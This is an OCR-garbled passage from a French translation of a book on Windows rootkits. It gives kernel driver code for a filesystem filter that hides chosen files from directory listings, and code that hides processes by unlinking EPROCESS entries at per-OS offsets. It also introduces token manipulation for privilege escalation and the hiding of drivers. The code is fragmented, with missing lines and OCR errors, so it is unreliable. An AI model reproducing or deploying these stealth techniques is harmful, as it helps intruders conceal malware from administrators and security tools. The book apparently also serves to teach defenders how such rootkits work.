if( !NT_SUCCESS( ntStatus ))
176 Rootkits
}
// Rcupre l'objet priphrique partir de l'objet fichier fileSysDevice =
IoGetRelatedDeviceObject( fileObject ); if(!fileSysDevice)
{
Si le programme na pas pu rcuprer lobjet priphrique, il retourne la valeur
FALSE :
ObDereferenceObject( fileObject );
ZwClose( ntFileHandle ); return FALSE;
}
// Examine la liste de priphriques pour dterminer si nous //
sommes dj attachs celui-ci.
// Cela peut arriver lorsque plusieurs lettres d'units sont // gres
par le mme redirecteur rseau. for( i = 0; i < 26; i++ )
{
if( DriveHookDevices[i] == fileSysDevice )
{
// Si nous surveillons dj ce priphrique, associe la lettre //
d'unit celles qui sont gres par le mme driver de rseau.
// Ceci nous permet d'actualiser intelligemment les menus // de hooking
lorsque l'utilisateur spcifie que l'un des // groupes ne devrait pas
tre surveill - nous marquons toutes // units associes comme non
surveilles galement. ObDereferenceObj ect(fileObject);
ZwClose(ntFileHandle);
DriveHookDevices[ Drive ] = fileSysDevice;
return TRUE;
}
}
// Le priphrique du systme de fichiers n'a pas encore t hook. //
Cre un objet priphrique de hooking qui y sera attach. ntStatus =
IoCreateDevice(DriverObject, sizeof(H00K_EXTENSI0N),
NULL,
fileSysDevice->DeviceType,
fileSysDevice->Characteristics,
FALSE,
&hookDevice);
if(!NT_SUCCESS(ntStatus))
Chapitre 6
}
// Met zro le flag d'initialisation du priphrique.
// Si nous ne le faisons pas, cela suppose que personne // ne pourra
se chaner sur nous, ce qui peut tre // l'effet recherch dans
certains cas. hookDevice->Flags &= ~DO__DEVICE_INITIALIZING;
hookDevice->Flags |= (fileSysDevice->
Flags & (DO_BUFFERED_IO | DO_DIRECT_IO));
// Dfinit les extensions de priphriques. La lettre // d'unit et
l'objet systme de fichiers sont stocks // dans l'extension.
hookExtension = hookDevice->DeviceExtension;
hookExtension->LogicalDrive = 'A'+Drive; hookExtension>FileSystem = fileSysDevice; hookExtension->Hooked =
TRUE; hookExtension->Type = STANDARD;
// Nous nous attachons au priphrique.
// A partir de l, nous pouvons commencer recevoir // les IRP
destins au priphrique hook.
ntStatus = IoAttachDeviceByPointer(hookDevice,
fileSysDevice);
if(!NT_SUCCESS(ntStatus))
//
//
fileFsAttributesSize =
Sizeof( FILE_FS_ATTRIBUTE_INFORMATION) + MAXPATHLEN;
hookExtension->FsAttributes =
(PFILE_FS_ATTRIBUTE_INFORMATION)
ExAllocatePool(NonPagedPool, fileFsAttributesSize); if(hookExtension>FsAttributes && !NT_SUCCESS(
IoQueryVolumeInformtion( fileObj ect, FileFsAttribute Informt ion,
fileFsAttributesSize,
hookExtension->FsAttributes,
&fileFsAttributesSize )))
//
//
178 Rootkits
}
II
Il Ferme le fichier et actualise la liste d'units Il hookes en
y insrant un pointeur vers l'objet Il priphrique de hooking.
Il
ObDereferenceObject( fileObject );
ZwClosef ntFileHandle );
DriveHookDevices[Drive] = hookDevice;
}
else/l Cette unit est dj hooke
{
hookExtension = DriveHookDevices[Drive]->DeviceExtension; hookExtension>Hooked = TRUE;
}
return TRUE;
}
Notre routine de dispatching est standard :
NTSTATUS OurFilterDispatch(IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
PI0_STACK_L0CATI0N currentIrpStack;
currentlrpStack = IoGetCurrentlrpStackLocation(Irp);
IoCopyCurrentlrpStackLocationToNext(Irp);
Voici la section la plus importante de la routine de dispatching. Cest ici que nous
dfinissons la routine de terminaison dE/S, laquelle sera appele une fois que lIRP
aura t trait par les drivers sous-jacents ;
IoSetCompletionRoutine( Irp, OurFilterHookDone, NULL, TRUE, TRUE, FALSE );
return IoCallDriver( hookExt->FileSystem, Irp );
}
Tout le filtrage a lieu dans la routine de terminaison :
NTSTATUS
OurFilterHookDone(
IN PDEVICEJDBJECT DeviceObject,
IN PIRP Irp,
IN PVOID Context
)
{
IrpSp = IoGetCurrentIrpStackLocation( Irp );
Chapitre 6
Nous recherchons ici une requte de rpertoire. Nous vrifions galement que
lexcution se droule au niveau dIRQ PASSIVE_LEVEL :
if(IrpSp->Maj orFunction == IRP_MJ_DIRECTORY_CONTROL &&
IrpSp->MinorFunction == IRP_MN_QUERY_DIRECTORY &&
KeGetCurrentIrql() == PASSIVE_LEVEL
&& IrpSp->Parameters.QueryDirectory.FilelnformationClass ==
FileBothDirectoryInformt ion )
{
PFILE_BOTH_DIR_INFORMATION volatile QueryBuffer = NULL;
PFILE_BOTH_DIR_INFORMATION volatile NextBuffer = NULL;
ULONG bufferLength;
DWORD
total_size = 0;
BOOLEAN hide_me = FALSE;
BOOLEAN reset = FALSE;
ULONG
size = 0;
ULONG
itration = 0;
QueryBuffer = (PFILE_BOTH_DIR_INFORMATION) Irp->UserBuffer;
bufferLength = Irp->IoStatus.Information ; if(bufferLength > 0)
{
do
{
DbgPrint("Filename: %ws\n", QueryBuffer->FileName);
Ici, le rootkit peut analyser le nom de fichier et dterminer sil doit le dissimuler. Les
noms cacher peuvent tre prdfinis et chargs dans une liste ou peuvent sinon se
fonder sur des sous-chanes telles quun prfixe - auquel cas un fichier sera dissimul
si son nom inclut un ensemble spcifique de caractres de prfixe - ou une extension
de fichier spciale. Nous laissons cette partie au lecteur titre dexercice.
Nous choisissons de cacher le fichier et dfinissons un flag indiquant cela :
hide_me = TRUE;
180 Rootkits
Ce point est atteint lorsque le premier fichier de la liste doit tre cach. Ensuite, le
programme vrifie sil sagit de la seule entre de la liste :
if ((IrpSp->Flags == SL_RETURN_SINGLE_ENTRY) ||
(QueryBuffer->NextEntryOffset == 0))
{
Ce point est atteint lorsque la liste ne contient que cette entre. Nous mettons zro le
tampon de requte et signalons que nous retournons zro octet :
RtlZeroMemory(QueryBuffer, sizeof(FILE_BOTH_DIR_INFORMATION)); total_size =
0;
}
else
{
Ce point est atteint si la liste contient dautres entres. Nous rectifions la taille totale
que nous retournons et supprimons lentre voulue :
total_size -= QueryBuffer->NextEntryOffset ; temp =
ExAllocatePool(PagedPool, total_size); if (temp != NULL)
{
RtlCopyMemory(temp, ((PBYTE)QueryBuffer + QueryBuffer->
NextEntryOffset), **total_size);
RtlZeroMemory(QueryBuffer, total_size + QueryBuffer->Next^EntryOff set ) ;
RtlCopyMemory(QueryBuffer, temp, total_size);
ExFreePool(temp);
}
Nous dfinissons un flag pour indiquer que nous avons dj rectifi le tampon
QueryBuffer :
reset = TRUE;
}
>
else if ((itration > 0) && (QueryBuffer->NextEntryOffset != 0)
&& (hide_me))
{
Ce point est atteint si nous dissimulons un lment qui se trouve au milieu de la liste.
Le programme limine lentre et corrige la taille retourner :
size = ((PBYTE) inputBuffer + Irp->IoStatus.Information) (PBYTE)QueryBuffer - QueryBuffer->NextEntryOffset ; temp =
ExAllocatePool(PagedPool, size); if (temp != NULL)
Chapitre 6
reset
reset = TRUE;
}
else if ((itration > 0) && (QueryBuffer->NextEntryOffset == 0)
&& (hide_me))
{
Ce point est atteint si nous dissimulons la dernire entre de la liste. Eliminer lentre
est beaucoup plus ais dans ce cas puisquelle est simplement supprime de la fin de la
liste chane. Nous ne traitons pas cela comme une correction du tampon QueryBuffer :
size = ((PBYTE) inputBuffer + Irp->
IoStatus.Information) - (PBYTE) QueryBuffer;
NextBuffer->NextEntryOffset = 0; total_size -= size;
}
Le rootkit passe ensuite lentre suivante, si le tampon na pas encore t rectifi (ce
qui indiquerait que le traitement de la liste est termin) :
itration += 1 ; if(! reset)
{
NextBuffer = QueryBuffer;
QueryBuffer = (PFILE_BOTH_DIR_INFORMATION)((PBYTE) QueryBuffer +
QueryBuffer->NextEntryOffset);
while(QueryBuffer != NextBuffer)
QueryBuffer
est
182 Rootkits
}
Lorsquun appel Fastlo a lieu, le code prend un chemin diffrent. Dabord, nous
initialisons la table de dispatching pour les appels Fastlo en tant que structure de
pointeurs de fonctions :
FAST_I0_DISPATCH OurFastlOHook = {
Sizeof(FAST_IO_DISPATCH),
FilterFastloCheckifPossible,
FilterFastloRead,
FilterFastloWrite,
FilterFastloQueryBasicInfo,
FilterFastloQueryStandardlnfo,
FilterFastloLock,
FilterFastIoUnlockSingle,
FilterFastloUnlockAll,
FilterFastloUnlockAllByKey,
FilterFastloDeviceControl,
FilterFastloAcquireFile,
FilterFastloReleaseFile,
FilterFastloDetachDevice,
FilterFastloQueryNetworkOpenlnfo,
FilterFastloAcquireForModWrite,
FilterFastloMdlRead,
FilterFastloMdlReadComplete,
FilterFastloPrepareMdlWrite,
FilterFastloMdlWriteComplete,
FilterFastloReadCompressed,
FilterFastloWriteCompressed,
FilterFastloMdlReadCompleteCompressed,
FiltenFastloMdlWriteCompleteCompressed,
FilterFastloQueryOpen,
FilterFastloReleaseForModWrite,
FilterFastloAcquireForCcFlush,
FilterFastloReleaseForCcFlush
};
Chaque appel passe par lappel rel de FastlO. Autrement dit, nous ne filtrons aucun
des appels FastlO. La raison est que les requtes de listage de fichiers et de
rpertoires ne sont pas implmentes en tant quappels FastIO, lesquels utilisent une
macro1 :
#define FASTIOPRESENT( _hookExt, _call ) \
(_hookExt->FileSystem->DriverObject->FastIoDispatch && \
1. La macro FASTIOPRESENT a t crite par Mark Russinovich (Sysinternals) pour lutilitaire Filemon. Le code
source nest plus disponible.
Chapitre 6
(((ULONG)&_hookExt->FileSystem->DriverObject->FastIoDispatch->_call - \
(ULONG) &_hookExt->FileSystem-> DriverObject->FastIoDispatch>SizeOfFastloDispatch < \
(ULONG) _hookExt->FileSystem->DriverObject->FastIoDispatch>SizeOfFastloDispatch )) && \
hookExt->FileSystem->DriverObject->FastIoDispatch->_call )
Voici un exemple dappel de passage. Tous ces appels possdent un format similaire.
Chacun deux doit tre dfini, mais aucun filtrage na lieu dans aucun dentre eux. Ils
sont documents dans le fichier Ntddk. h ou dans le kit IFS (Installable File System)
disponible auprs de Microsoft.
BOOLEAN
FilterFastIoQeryStandardInfo(
IN PFILEJDBJECT FileObject,
IN BOOLEAN Wait,
OUT PFILE_STANDARD_INFORMATION Buffer,
OUT PIO_STATUS_BLOCK IoStatUS,
IN PDEVICE_OBJECT DeviceObject
)
{
BOOLEAN
retval = FALSE;
PH00K_EXTENSI0N hookExt;
if( !DeviceObject ) return FALSE;
hookExt = DeviceObject->DeviceExtension;
if( FASTIOPRESENT( hookExt, FastloQueryStandardlnfo))
{
retval = hookExt->FileSystem->DriverObject->FastIoDispatch->
FastIoQueryStandardInfo( FileObject, Wait, Buffer, IoStatus,
hookExt->FileSystem );
}
return retval;
}
Le driver de filtrage de fichiers est prsent termin.
Selon leurs fonctionnalits, les filtres de fichiers comptent parmi les drivers de
priphriques les plus difficiles crire correctement. Nous esprons que cette
prsentation vous aura aid comprendre le fonctionnement de base dun rootkit
lorsquil effectue un filtrage au niveau du systme de fichiers pour cacher des fichiers
et des rpertoires. Celui dcrit dissimule uniquement des fichiers et des rpertoires et il
nest donc pas aussi compliqu que certains autres filtres. Pour en savoir plus sur les
systmes de fichiers, nous vous recommandons louvrage de R. Nagar1.
1. R. Nagar, Windows NT File System Internais: A Developers Guide (Sbastopol, CA : OReilly & Associates,
1997).
184 Rootkits
Conclusion
Le chanage de drivers reprsente un moyen fiable et robuste dintercepter et de
modifier des donnes dans un systme. Il peut tre employ non seulement des fins
de furtivit, mais aussi pour la collecte et la modification de donnes. Les lecteurs
audacieux et les aspirants dveloppeurs de rootkits peuvent tendre les exemples de ce
chapitre pour intercepter ou modifier des donnes de rseau, crer des canaux de
communication secrets, intercepter ou crer des signaux vido et mme crer des bugs
audio.
7
Manipulation directe
des objets du noyau
Gnralement, la meilleure stratgie guerrire consiste prendre le pays de
lennemi intact ; le dtruire est une tactique infrieure.
- Sun Tzu
Dans les chapitres prcdents, nous avons explor un grand nombre de techniques de
hooking. Le hooking dun systme dexploitation est une approche efficace, surtout en
raison de limpossibilit de pouvoir compiler un rootkit pour ldition du systme vis.
Dans certains cas, le hooking est la seule mthode dont dispose un dveloppeur de
rootkit.
Toutefois, comme nous lavons vu dans les chapitres prcdents, le hooking nest pas
exempt dinconvnients. Si quelquun sait o rechercher, un hook peut gnralement
tre dtect. Cest mme simple, comme vous le verrez au Chapitre 10, en employant
un utilitaire appel VICE. De plus, les mcanismes de protection du noyau, tels que le
placement de certaines pages mmoire en lecture seule (aujourdhui ou dans un proche
futur), rendront la technique du hooking inutilisable.
Dans ce chapitre, nous tudierons une technique fonde sur la manipulation directe des
objets du noyau appele DKOM (Direct Kernel Object Manipulation). Elle permet de
modifier certains objets dont se sert le noyau pour sa gestion interne.
186
Rootkits
Aprs avoir lu ce chapitre, vous comprendrez comment des processus et des drivers
peuvent tre dissimuls sans implmenter aucun hook.
Vous apprendrez aussi comment modifier le jeton daccs dun processus afin
dobtenir des privilges de niveau systme ou administrateur sans avoir effectuer
dappel API. Il est trs difficile de prvenir une attaque de ce genre.
INFO
jjg --------------------------------------------------------------------------------------------------------
Dans ce chapitre, les termes objet et structure sont utiliss de faon interchangeable. "Objet"
est le terme que Microsoft emploie pour se rfrer aux structures du noyau.
Chapitre 7
De quelle manire le noyau utilise-t-il les objets ? Vous ne saurez pas comment ou
pour quelle raison modifier un objet si vous ne comprenez pas son rle. Sans une
comprhension profonde de la faon dont il est utilis dans le noyau, vous
risqueriez de faire de nombreuses suppositions errones.
188 Rootkits
Chapitre 7
DWORD dwMajorVersion;
DWORD dwMinorVersion;
DWORD dwBuildNumber;
DWORD dwPlatformld;
TCHAR szCSDVersion[128];
WORD wServicePackMajor;
WORD wServicePackMinor;
WORD wSuiteMask;
BYTE wProductType;
BYTE wReserved;
} OSVERSIONINFOEX, *P0SVERSI0NINF0EX, *LPOSVERSIONINFOEX;
Aprs lavoir dclare dans votre code, passez un pointeur vers cette structure lors de
lappel de GetVersionEx. Voici le prototype de la fonction :
BOOL GetVersionEx( LPOSVERSIONINFO lpVersionlnfo );
Suite lappel, vous devez avoir identifi la version du systme dexploitation. Voici
un exemple dappel utilisant la structure OSVERSIONINFOEX pour connatre la version du
systme et le niveau du Service Pack :
void DetermineOSVersion()
{
OSVERSIONINFOEX osvi;
// Rcupre la taille de la structure
osvi.dwOSVersionlnfoSize = sizeof(OSVERSIONINFOEX); if
(GetVersionEx((OSVERSIONINFO *) &osvi))
{
switch (osvi.dwPlatformld)
{
// Test pour la famille de produits Windows NT
case VER_PLATF0RM_WIN32_NT:
// Test du produit if ( osvi.dwMajorVersion == 4
&& \ osvi.dwMinorVersion == 0)
{
fprintf(stderr, "Microsoft Windows NT 4.0 ");
II..
.
}
else if ( osvi.dwMajorVersion == 5 && \
osvi.dwMinorVersion == 0 && \
osvi.wServicePackMajor == 3)
{
fprintf(stderr, "Microsoft Windows 2000 SP 3 ");
//...
}
}
}
break;
190 Rootkits
Une fois la version du systme identifie, le rootkit est actif et il est possible dajuster
les offsets des structures utiliser avec la technique DKOM. Limportance de ce point
sera mise en vidence dans la prochaine section.
);
Les versions plus rcentes de Windows, telles que XP ou 2003, ont une fonction
RtlGetVersion. Elle reoit en argument un pointeur vers une structure 0SVERSI0NINFOW ou 0SVERSI0NINF0EXW, un fonctionnement semblable lappel Win32 en mode
utilisateur dcrit plus haut. Le prototype de RtlGetVersion est pratiquement le mme
que celui de la version Win32 :
NTSTATUS RtlGetVersion( IN OUT PRTL_0SVERSI0NINF0W lpVersionlnformation );
Chapitre 7
HKEY_LOCAL_MACHINE\SOFTWARE\Mierosoft\Windows NT\CurrentVer-
A partir du mode utilisateur, vous pouvez interroger ces cls une fois que vous avez
reu le handle appropri en appelant RegQueryValue ou RegQueryValueEx. Le code
suivant exemplifie linterrogation de ces cls partir dun driver :
// Interroge le Registre pour obtenir la version du systme d'exploitation
RTL_QUERY_REGISTRY_TABLE paramTable[3];
UNICODE_STRING ac_csdVersion;
UNICODE_STRING ac_currentVersion ;
// Initialise les variables
RtlZeroMemory(paramTable, sizeof(paramTable));
RtlZeroMemory(&ac_currentVersion, sizeof(ac_currentVersion));
RtlZeroMemory(&ac_csdVersion, sizeof(ac_csdVersion));
paramTable[0].Flags = RTL_QUERY_REGISTRY_DIRECT;
paramTable[0].Name = L"CurrentVersion";
paramTable[0].EntryContext = &ac_currentVersion;
paramTable[0].DefaultType = REG_SZ;
paramTable[0].DefaultData = &ac_currentVersion;
paramTable[0].DefaultLength = sizeof(ac_currentVersion);
paramTable[1].Flags = RTL_QUERY_REGISTRY_DIRECT;
paramTable[1].Name = L"CSDVersion";
paramTable[1].EntryContext = &ac_csdVersion;
paramTable[1].DefaultType = REG_SZ;
paramTable[1].DefaultData = &ac_csdVersion;
paramTable[1].DefaultLength = sizeof(ac_csdVersion);
// Interroge le Registre
RtlQueryRegistryValues( RTL_REGISTRY_WINDOWS_NT,
NULL,
paramTable,
NULL,
NULL );
// Faire quelque chose ici avec les donnes si la requte russit.
// Cela peut inclure l'initialisation de certaines variables globales // pour
stocker le numro de Service Pack, etc.
// Libre les chanes UNICODE_STRING cres par la requte.
RtlFreeUnicodeString(&ac_currentVersion);
RtlFreeUnicodeString(&ac_csdVersion);
Comme vous pouvez le voir, vous disposez de diffrentes mthodes pour connatre la
version du systme dexploitation. Celle que vous choisirez dpendra du type de
rootkit que vous implmentez.
Dans la prochaine section, nous verrons comment communiquer des informations au
driver, telles que les numros de version, partir de la portion en mode utilisateur.
192 Rootkits
/////////////////////////////////////////////////////////////////
///
// Ce sont les IOCTL utiliser par le driver et le programme utilisateur. //
Celui-ci envoie les IOCTL au driver // l'aide de DeviceIoControl()
#define IOCTL_DRV_INIT (ULONG) CTL_C0DE(FILE_DEV_DRV,0X01,
METHOD_BUFFERED,
FILE_WRITE_ACCESS)
#define IOCTL_DRV_VER (ULONG) CTL_CODE(FILE_DEV_DRV,0X02,
METHOD_BUFFERED, FILE_WRITE_ACCESS)
#define IOCTL_TRANSFER_TYPE(_iocontrol) (_iocontrol & 0x3)
<windows.h>
<stdio.h>
<string.h>
<winioctl.h>
Chapitre 7
#include "fu.h"
#include ". .\SYS\ioctlcmd. h'' int main(void)
{
gh_Device = INVALID_HANDLE_VALUE; I l Handle sur le driver du rootkit.
I l Ouvre ici un handle sur le driver. Voir le Chapitre 2 pour les dtails,
if(!DeviceIoControl(gh_Device,
IOCTL_DRV_INIT,
NULL,
0,
NULL,
0,
&d_bytesRead,
NULL))
{
fprintf(stderr, "Error Initializing Driver.\n");
}
}
Dans la fonction DriverEntry du rootkit, vous devez crer lobjet priphrique avec le
nom associ et le lien symbolique vers le priphrique et dfinir la table MajorFunction
dans le driver avec les pointeurs vers toutes les fonctions qui greront les diffrents
types de IRP_MJ_*. Nous avons couvert ce sujet au Chapitre 2. Nous allons les revoir
brivement ici.
Lobjet priphrique et le lien symbolique doivent tre crs de manire que la portion
en mode utilisateur du rootkit puisse ouvrir un handle sur le driver. Dans le code
suivant, RootkitDispatch gre le type IRP_MJ_DEVICE_CONTROL, qui est lIRP utilis
lorsque la portion en mode utilisateur envoie un IOCTL au driver laide de la
fonction DeviceloControl. Il est galement possible de spcifier des fonctions pour
grer le plug-and-play, louverture, la fermeture, le dchargement et dautres
vnements, mais cela sortirait du cadre de notre discussion.
const WCHAR deviceLinkBuffer[] = L"\\DosDevices\\msdirectx";
const WCHAR deviceNameBuffer[] = L\\Device\\msdirectx" ;
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath)
{
NTSTATUS
ntStatus;
UNICODE_STRING
deviceNameUnicodeString;
UNICODE_STRING deviceLinkUnicodeString;
// Dfinit le nom de priphrique et le lien symbolique
RtUnitUnicodeString (&deviceNameUnicodeString,
deviceNameBuffer );
RtlInitUnicodeString (&deviceLinkUnicodeString,
deviceLinkBuffer );
194 Rootkits
I l Cre le priphrique
ntStatus = IoCreateDevice ( DriverObject,
0, I l Pour l'extension du driver
&deviceNameUnicodeString, I l Nom de
'priphrique
FILE_DEV_DRV,
0,
TRUE,
&g_RootkitDevice ); if(!
NT_SUCCESS(ntStatus))
{
DebugPrint(("Failed to create device!\n));
return ntStatus;
}
// Cre le lien symbolique
ntStatus = IoCreateSymbolicLink (&devicel_inkUnicodeString,
&deviceNameUnicodeString );
if(! NT_SUCCESS(ntStatus))
{
IoDeleteDevice(DriverObj ect->DeviceObj ect);
DebugPrint("Failed to create symbolic link!\n");
return ntStatus;
}
// Cre un pointeur vers notre gestionnaire d'IRP pour // l'IRP
IRP_MJ_DEVICE_CONTROL appel. Ce pointeur // est pour la table de
pointeurs de fonctions dans le driver. DriverObj ect->Maj
orFunction[IRP_MJ_DEVICE_CONTROL] =
RootkitDispatch;
}
La fonction RootkitDispatch est dcrite ci-aprs. Elle obtient dabord lemplacement
actuel de la pile de lIRP pour pouvoir rcuprer les tampons dentre et de sortie et
dautres informations essentielles. La pile de lIRP contient le code de la fonction
majeur de lIRP. Souvenez-vous, il sagit de IRP_MJ_DEVICE_CONTROL pour les IOCTL
provenant de notre processus utilisateur. Les autres donnes importantes dans la pile
de lIRP sont les codes IOCTL. Ce sont les codes de contrle de ioct- lcmd. h
mentionns plus haut. Comme dj indiqu, ils doivent tre identiques pour le code du
driver et celui du mode utilisateur.
NTSTATUS RootkitDispatch(IN PDEVICE_OBUECT DeviceObject,
IN PIRP Irp)
{
PI0_STACK_L0CATION irpStack;
PVOID
inputBuffer;
PVOID
outputBuffer;
ULONG
inputBufferLength;
Chapitre 7
ULONG
outputBufferLength ;
ULONG
ioControlCode;
NTSTATUS
ntstatus;
I l Dfinit la requte comme tant russie ntstatus = Irp>IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
// Obtient un pointeur vers l'emplacement courant dans l'IRP.
// C'est l'endroit o se trouvent le code de fonction // et les
paramtres.
irpStack = IoGetCurrentlrpStackLocation (Irp);
// Obtient le pointeur vers le tampon d'E/S et sa longueur inputBuffer =
Irp->AssociatedIrp.SystemBuffer;
inputBufferLength = irpStack>Parameters.DeviceloControl.InputBufferLength; outputBuffer
=
Irp->AssociatedIrp.SystemBuffer;
outputBufferLength = irpStack>Parameters.DeviceloControl.OutputBufferLength; ioControlCode
=
irpStack>Parameters.DeviceloControl.IoControlCode; switch (irpStack>MajorFunction) { case IRP_MJ_CREATE: break;
case IRP_MJ_CLOSE:
break;
// Ces IRP nous intressent,
// ils viennent de la portion en mode utilisateur,
case IRP_MJ_DEVICE_CONTROL: switch (ioControlCode) {
case IOCTL_DRV_INIT:
// Insrez du code pour initialiser le rootkit
// si ncessaire.
break;
case IOCTL_DRV_VER:
// Retournez les informations de version du rootkit
// si vous le souhaitez.
break;
}
break;
}
IoCompleteRequest( Irp, I0_N0_INCREMENT );
return ntstatus;
}
Vous devriez maintenant avoir compris comment communiquer avec un driver, votre
rootkit, partir dun processus en mode utilisateur. Tout cela ntait toutefois que la
partie ennuyeuse. Voyons maintenant ce quun rootkit dans le noyau peut faire avec la
technique DKOM.
196 Rootkits
Dissimulation de processus
Les systmes dexploitation Windows NT/2000/XP/2003 grent des objets Executive
qui dcrivent les processus et les threads. Ces objets sont rfrencs par Taskmgr.exe et
dautres outils de reporting pouvant lister les processus qui sexcutent sur la machine.
Par exemple, ZwQuerySystemlnformation utilise ces objets pour lister les processus
actifs. Si vous comprenez le rle de ces objets, vous pouvez les modifier pour masquer
des processus, lever le niveau de privilges de processus ou apporter dautres
changements.
La liste des processus actifs est obtenue en parcourant une liste doublement chane
rfrence dans la structure EPROCESS de chaque processus. Plus particulirement, cette
structure contient une structure LIST_ENTRY contenant les membres FLINK et BLINK. Ce
sont deux pointeurs vers les processus voisins situs juste avant et juste aprs le
descripteur de processus courant.
Pour cacher un processus, vous devez comprendre la structure de EPROCESS. La
premire chose faire est den rcuprer une en mmoire. Sachez quelle change
pratiquement chaque nouvelle release du systme dexploitation, mais vous pourrez
toujours rcuprer un pointeur vers le processus actif courant en appelant
PsGetCurrentProcess et en obtenir sa structure EPROCESS. Cette fonction est en fait un
alias pour la fonction IoGetCurrentProcess. Si vous dsassemblez cette fonction, vous
verrez quil ne sagit que de deux assignations et dun retour :
mov eax, fs :
0x00000124; mov eax,
[eax + 0x44]; ret
Chapitre 7
Figure 7.1
Cheminement
depuis
le
bloc
KPRCB jusqu' la
liste chan de
processus.
Une manire de trouver un processus est dutiliser son identifiant appel le PID
(.Process Identifier). Ce PID se trouve un certain offset dans EPROCESS, qui varie
selon la version du systme. Cest l que la dtermination de version ralise plus
haut entre enjeu. Le Tableau 7.1 rcapitule les divers offsets par version de systme
dexploitation.
Tableau 7.1 : Offsets vers le PID et FLINK dans le bloc EPROCESS
Windows NT Windows 2000
Windows XP
Windows XP SP2
Windows 2003
Offset
de PID
0x94
0x9C
0x84
0x84
0x84
Offset
de FLINK
0x98
0xA0
0x88
0x88
0x88
198 Rootkits
Lextrait de code suivant utilise ces offsets pour parcourir la liste chane des
processus jusqu trouver un certain PID. La fonction retourne ladresse du bloc
EPROCESS demand par la variable terminate_PID :
// FindProcessEPROC reoit le PID du processus trouver
// et retourne l'adresse du bloc EPROCESS pour le processus voulu.
DWORD FindProcessEPROC (int terminate_PID)
{
DWORD eproc
= 0x00000000;
int current_PID
= 0;
int start_PID
= 0;
int i_count
= 0;
PLIST_ENTRY plist_active_procs;
if (terminate_PID == 0) return
terminate_PID;
// Rcupre l'adresse du bloc EPROCESS courant
eproc = (DWORD) PsGetCurrentProcess(); start_PID
= *((int *)(eproc+PIDOFFSET)); current_PID =
start_PID; while(1)
{
if(terminate_PID == current_PID) // Trouv return eproc;
else if((i_count >= 1) && (start_PID == current_PID))
{
return 0x00000000;
}
else { // Avance dans la liste
plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET);
eproc = (DWORD) plist_active_procs->Flink;
eproc = eproc - FLINKOFFSET;
current_PID = *((int *)(eproc+PIDOFFSET));
i_count++;
}
}
}
Cacher un processus par son PID nest pas toujours une mthode pratique. Puisque les
PID sont choisis pseudo-alatoirement, il est plus fiable pour un rootkit de masquer un
processus par son nom. Le nom de processus est galement trouv dans le bloc
EPROCESS sous forme dune chane de caractres (un array). Pour trouver son offset
dans EPROCESS, vous pouvez appeler la fonction suivante partir de la fonction
DriverEntry du rootkit :
ULONG GetLocationOfProcessName()
{
ULONG ul_offset;
PEPROCESS CurrentProc = PsGetCurrentProcess();
Chapitre 7
{
if( !strncmp( "System", (PCHAR) CurrentProc + ul_offset,
strlen("System")))
{
return ul_offset;
}
}
return (ULONG) 0;
}
retourne loffset dans EPROCESS du nom de processus. Cela
fonctionne car DriverEntry est toujours appel par le processus System si le driver a
t charg en utilisant le Gestionnaire de contrle de services, le SCM (Service
Control Manager). Cette fonction scanne la mmoire de la structure EPROCESS
courante en recherchant la chane "System". Lorsquelle est trouve, la fonction
retourne loffset cette technique a t dabord trouve par Sysinternals et est
utilise par de nombreux outils de la socit. Vous pouvez modifier FindProcessEPROC
afin de rechercher le processus par son nom plutt que par son PID.
GetLocationOf ProcessName
Noubliez toutefois pas que les noms de processus ne sont pas uniques. Le nom
lintrieur de la structure EPROCESS est une chane de 16 octets ne reprsentant
gnralement que les 16 premiers caractres du nom du fichier binaire sur disque
contenant le code. Seul le PID identifie de faon unique un processus.
Une fois que vous avez trouv le bloc EPROCESS du processus cacher, vous devez
changer la valeur du pointeur FLINK du bloc EPROCESS qui le prcde et le pointeur
BLINK de celui qui le suit pour maintenir la cohrence de la liste chane. Pour cela,
donnez-leur respectivement la valeur des pointeurs FLINK et BLINK du bloc
dissimuler (voir Figure 7.2).
Le code suivant appelle FindProcessEPROC pour trouver le bloc EPROCESS spcifi par
PID_TO_HIDE. Elle change ensuite le bloc EPROCESS retourn afin de le retirer de la liste
chane :
DWORD eproc = 0;
PLIST_ENTRY plist_active_procs;
// Trouve le EPROCESS dissimuler eproc
= FindProcessEPROC (PID_TO_HIDE); if
(eproc == 0x00000000)
return STATUS_INVALID_PARAMETER;
200 Rootkits
Figure 7.2
Illustration de la
liste de processus
actifs aprs la
dissimulation de
notre processus.
Si le bloc EPROCESS est trouv, le code modifie, comme introduit prcdemment, les
pointeurs FLINK et BLINK des blocs contigus.
Notez que les deux dernires lignes changent les pointeurs FLINK et BLINK du
processus masqu de manire les faire pointer vers eux-mmes. Si cela ntait pas
Chapitre 7
fait, le rootkit pourrait produire un plantage avec cran bleu en quittant le processus.
Cela est d la fonction prive de noyau PspExitProcess.
Comme vous pouvez limaginer, lorsquun processus est dtruit, la liste chane des
processus doit tre mise jour pour reflter les changements. Cest pour cela que les
pointeurs de voisinage des blocs contigus ont t modifis. Mais quarrive-t-il au
processus cach lorsque lun des voisins quitte ? Un des pointeurs ne rfrencerait
alors plus un processus valide, voire mme une rgion mmoire valide. Pour viter
cela, les deux dernires lignes du code modifient les pointeurs pour quils se
rfrencent eux-mmes. Ainsi, ils sont toujours valides lorsque PspExitProcess est
appel.
Notes sur la planification d'excution de processus
De prime abord, on pourrait penser que la dissimulation d'un processus en enlevant
son descripteur de la liste chane des blocs EPROCESS l'empcherait de se voir
allouer une tranche de temps dans laquelle s'excuter. Nous avons pu observer que
cela n'tait pas le cas. L'algorithme de planification de Windows est trs
complexe, excut avec une granularit de niveau thread et intgrant un systme de
priorits et de premption. Ainsi, un thread est prvu pour tre excut pendant
un certain quantum de temps, qui est l'intervalle s'coulant avant que le systme
n'interrompe l'excution du thread pour vrifier s'il existe d'autres threads de
priorit gale ou suprieure qui ncessiteraient de rduire le niveau de priorit
du thread courant. Un processus peut possder plusieurs threads d'excution,
chacun d'eux tant reprsent par une structure ETHREAD.
Dans la prochaine section, nous vous prsentons une technique similaire pour masquer
des drivers. A linstar des processus, ils sont galement stocks sous forme dune liste
doublement chane dans le noyau.
Dissimulation de drivers
Il sagit dune tape galement importante dun rootkit. Lun des premiers endroits que
ladministrateur examinera sil suspecte un intrus est la liste des drivers. Lutilitaire
Drivers. exe du kit de ressources de Microsoft est loutil quun administrateur peut
